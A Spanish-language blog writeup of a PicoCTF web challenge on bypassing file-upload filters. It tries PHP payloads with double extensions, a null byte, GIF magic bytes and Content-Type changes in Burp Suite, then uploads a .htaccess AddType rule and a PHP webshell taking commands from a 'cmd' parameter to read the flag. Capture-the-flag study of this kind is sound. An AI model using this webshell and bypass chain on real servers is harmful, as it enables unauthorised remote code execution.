<p><img src="/assets/images/pctf-writeup-byp4ss3d/uplacpt_bp.png" alt="" /></p>

<p>Nos dará que se ha subido exitosamente, proporcionándonos un enlace para verlo cual nos enseña la ruta cual se aloja las fotos que se suben. -&gt; <span style="color:lightblue">/images/</span></p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/succs_bp.png" alt="" /></p>

<p>Al pincharla en el enlace, se abrirá una pestaña aparte para visualizarla.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/chemita_bp.png" alt="" /></p>

<h3 id="probar-php-malicioso">PROBAR PHP MALICIOSO</h3>

<p>Anteriormente vimos que no tiene problema al subir imágenes normales. Haber ahora como reacciona ante subidas de archivos con extensiones diferentes a las cuales ya tiene definidas.
En caso de ejecutarse, nos interpretará el comando establecido entre comillas. “<strong>id</strong>”</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nb">system</span><span class="p">(</span><span class="s2">"id"</span><span class="p">);</span> <span class="cp">?&gt;</span>
</code></pre></div></div>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/probphpid_bp.png" alt="" /></p>

<p>Lo seleccionamos y subimos.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/subphp_bp.png" alt="" /></p>

<p>Y como era de esperar, no nos deja. Habrá que buscar otras formas de intentar subirlo.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/notallow_bp.png" alt="" /></p>

<h3 id="técnicas-validation-bypass-upload">TÉCNICAS: VALIDATION BYPASS UPLOAD</h3>

<p>En este momento podemos aplicar algunas técnicas que conozcamos que puedan llegar a funcionar:  <a href="https://pabloventx.github.io/ayuda-File-ByPass-Upload/">Técnicas File Bypass Upload</a></p>

<p>1) La primera sería poner  <code class="language-plaintext highlighter-rouge">.png</code>  para que el servidor compruebe que en la cadena del nombre contiene <code class="language-plaintext highlighter-rouge">.png</code> (formato deseado), y así ya no compruebe lo que tiene después, que como se muestra en la imagen, un <code class="language-plaintext highlighter-rouge">.php</code> .</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Dentro tendrá el código a ejecutar</span>
cmd.png.php
</code></pre></div></div>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/string_bp.png" alt="" /></p>

<p>Le damos a “UPLOAD ID” y la subimos.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/sub_bp.png" alt="" /></p>

<p>No nos deja, vamos a usar otra técnica.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/notallow_bp.png" alt="" /></p>

<p>2) Vamos a intentarlo con un <span style="color:cyan">null byte</span>, es un carácter especial que indica el final de una cadena en muchos lenguajes, por lo que la validación puede detenerse antes de la extensión real del archivo.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># El servidor aceptará el '.png' y procesara el archivo como '.php'</span>
cmd.php%00.png
</code></pre></div></div>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/nullb_bp.png" alt="" /></p>

<p>Lo seleccionamos y subimos.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/sub8_bp.png" alt="" /></p>

<p>Nos dirá que se ha subido exitosamente, a ver que pasa si pinchamos para visualizarlo.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/succsnb_bp.png" alt="" /></p>

<p>Nos dirá que no lo encuentra, quizás se este borrando por algún filtro/norma establecido, o no lo puede leer.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/notfound_bp.png" alt="" /></p>

<p>3) Probaremos por último por los “<strong>Magic numbers</strong>”. Usado para identificar el archivo mediante los primeros bytes, aparte del propio formato.</p>

<p>Añadimos en la primera línea <strong>(GIF8,PNG…;)</strong> y guardamos.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1 GIF8; (En la primera línea del archivo)
2 <span class="cp">&lt;?php</span> 
<span class="mi">3</span>   <span class="nb">system</span><span class="p">(</span><span class="s2">"whoami"</span><span class="p">);</span> 
<span class="mi">4</span> <span class="cp">?&gt;</span>
</code></pre></div></div>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/mgg_bp.png" alt="" /></p>

<p>Aplicamos un <strong>“file”</strong> para que nos diga de que tipo es el archivo y nos dirá que el <em>php</em> es un <em>gif</em>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>file cmd.php
</code></pre></div></div>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/mg_bp.png" alt="" /></p>

<p>Seleccionamos y la subimos “UPLOAD ID”.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/sub2_bp.png" alt="" /></p>

<p>Nos dirá que no esta permitido así que tocara ir por otro lado.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/noalloww_bp.png" alt="" /></p>

<h3 id="burp-suite-content-type-y-global">BURP SUITE: CONTENT-TYPE y GLOBAL</h3>

<p>Cambiamos el código a php a como lo teníamos originalmente.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/orccmd_bp.png" alt="" /></p>

<h4 id="configuración-foxy-proxy">CONFIGURACIÓN FOXY PROXY</h4>

<p>En la extensión <span style="color:lightyellow">Foxy Proxy</span> tenemos que seleccionar <strong>Burp Suite</strong>. Tendremos que tenerlo configurado para que tenga conexión con este y así coger los paquetes.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/fox_bp.png" alt="" /></p>

<p>En <em>Burp Suite</em> nos vamos a “Proxy” &gt; “Intercept” &gt; <strong>Intercept on</strong> .Teniendo esta opción activada podremos capturar paquetes y analizarlos.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/inton_bp.png" alt="" /></p>

<p>Para capturar nuestro paquete, subimos el archivo originalmente en <em>.php</em> .</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/uploadsss_bp.png" alt="" /></p>

<p>Nos lo capturara al momento y en el <strong>Request</strong> nos saldrá toda la información relacionada con lo que la subida acontece.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/paqueteco_bp.png" alt="" /></p>

<p>Dicho paquete lo llevaremos al <strong>Repeater</strong>, apartado donde podremos hacer pruebas con este, cambiando parámetros… “<strong>CTRL + R</strong>”</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/repeter_bp.png" alt="" /></p>

<p>En este apartado, podemos cambiar el nombre del paquete a nuestro gusto para tener una buena organización…</p>

<p>Es importante quitar el <em>FoxyProxy</em> para que no nos capture los paquetes que enviemos ahora, aparte no es necesario ya que no vamos a capturar más paquetes. Le damos a “Send” y como es normal nos devuelve un <strong>Not allowed</strong> en el Response.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/nombyan_bp.png" alt="" /></p>

<p>A continuación, pasaremos a modificar cosas a ver si conseguimos subir el archivo.
En el campo <span style="color:orange">Content-Type</span>: <strong>application</strong><span style="color:yellow">/x-php</span>, nos dice que se trata de un <em>PHP</em>, lo podríamos cambiar al tipo de archivo <span style="color:yellow">jpeg, png…</span>.</p>

<p>Le damos a “Send” y en el Response.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/ctjp_bp.png" alt="" /></p>

<p>Aquí ya jugaríamos con las técnicas usadas anteriormente. Agregando la cadena <span style="color:yellow">.jpeg</span> al nombre y después un <span style="color:yellow">.php</span> . No nos dejará.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/stringca_bp.png" alt="" /></p>

<p>Agregando PNG en la primera línea, para que valido esos bytes del archivo. No nos dejara.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/mggf_bp.png" alt="" /></p>

<h3 id="htaccess-establecimiento-política-nivel-directorio">HTACCESS: ESTABLECIMIENTO POLÍTICA NIVEL DIRECTORIO</h3>

<p><span style="color:green">.htaccess</span> -&gt; Archivo configuración a <strong>nivel directorio</strong>, usado por <span style="color:lime ">Apache HTTP Server</span>, que permite modificar el comportamiento del servidor sin tocar la configuración global -&gt; (<em>httpd.conf</em> o <em>apache2.conf</em>). En este archivo podemos insertar directivas/políticas.</p>

<p>Ahora estableceremos una política cual permita que cualquier archivo que coincida con la extensión puesta o palabra, lo interprete como motor <em>PHP</em>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Crea el archivo .htaccess y escribir dentro</span>
nano .htacess
-&gt; addType application/x-httpd-php .jpeg

<span class="c"># Ver el contenido del archivo</span>
<span class="nb">cat</span> .htaccess
</code></pre></div></div>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/htest_bp.png" alt="" /></p>

<p>Por otro lado, llamaremos a nuestro <span style="color:lime">cmd.php</span> -&gt; <span style="color:lime">cmd.jpeg</span> y le pondremos para que cuando se suba el archivo, tener una <span style="color:lime">webshell</span> y ejecutar comandos remotamente <strong>(RCE)</strong>.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nb">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"cmd"</span><span class="p">]);</span> <span class="cp">?&gt;</span>
</code></pre></div></div>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/cmdest_bp.png" alt="" /></p>

<p>En la página a la hora de subir, filtramos los archivos ocultos, ya que si nos damos cuenta llamamos a <em>htaccess</em> con un “.” al principio, por lo cual esta oculto.</p>

<p>Aceptamos.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/subidaestoc_bp.png" alt="" /></p>

<p>Le damos a “UPLOAD ID”.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/htsuccsub_bp.png" alt="" /></p>

<p>Nos dirá que se ha subido exitosamente.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/exitoo_bp.png" alt="" /></p>

<p>Ahora seleccionamos la <span style="color:lime">webshell</span>, y le damos a “UPLOAD ID”.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/subidajpg_bp.png" alt="" /></p>

<p>Se subirá sin que nos salte ninguna prohibición.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/exitosweb_bp.png" alt="" /></p>

<p>Ya tendremos una ejecución remota de comandos mediante el parámetro:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Especificar parámetro en URL para ejecutar comandos</span>
cmd.jpeg?cmd<span class="o">=</span>comando
</code></pre></div></div>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/rce_bp.png" alt="" /></p>

<h3 id="bandera">BANDERA</h3>

<p>Para leer la bandera nos iremos a la siguiente ruta:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd.jpeg?cmd<span class="o">=</span><span class="nb">cd</span> ../..<span class="p">;</span> <span class="nb">ls</span><span class="p">;</span> <span class="nb">cat </span>flag.txt
</code></pre></div></div>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/flag_bp.png" alt="" /></p>]]></content><author><name>pabloVentx</name></author><category term="PicoCTF" /><category term="Pentesting" /><category term="Challenge" /><category term="Web" /><category term="writeup" /><category term="challenge" /><category term="HackingWeb" /><category term="FileUpload" /><category term="AbusingPolitics-htaccess" /><summary type="html"><![CDATA[En este challenge, aprenderemos a abusar del fichero *.htaccess* para establecer unas políticas a nivel directorio cual nos permita la subida de archivos maliciosa que cumpla X requisito, persuadiendo la restricción que tiene.]]></summary></entry></feed>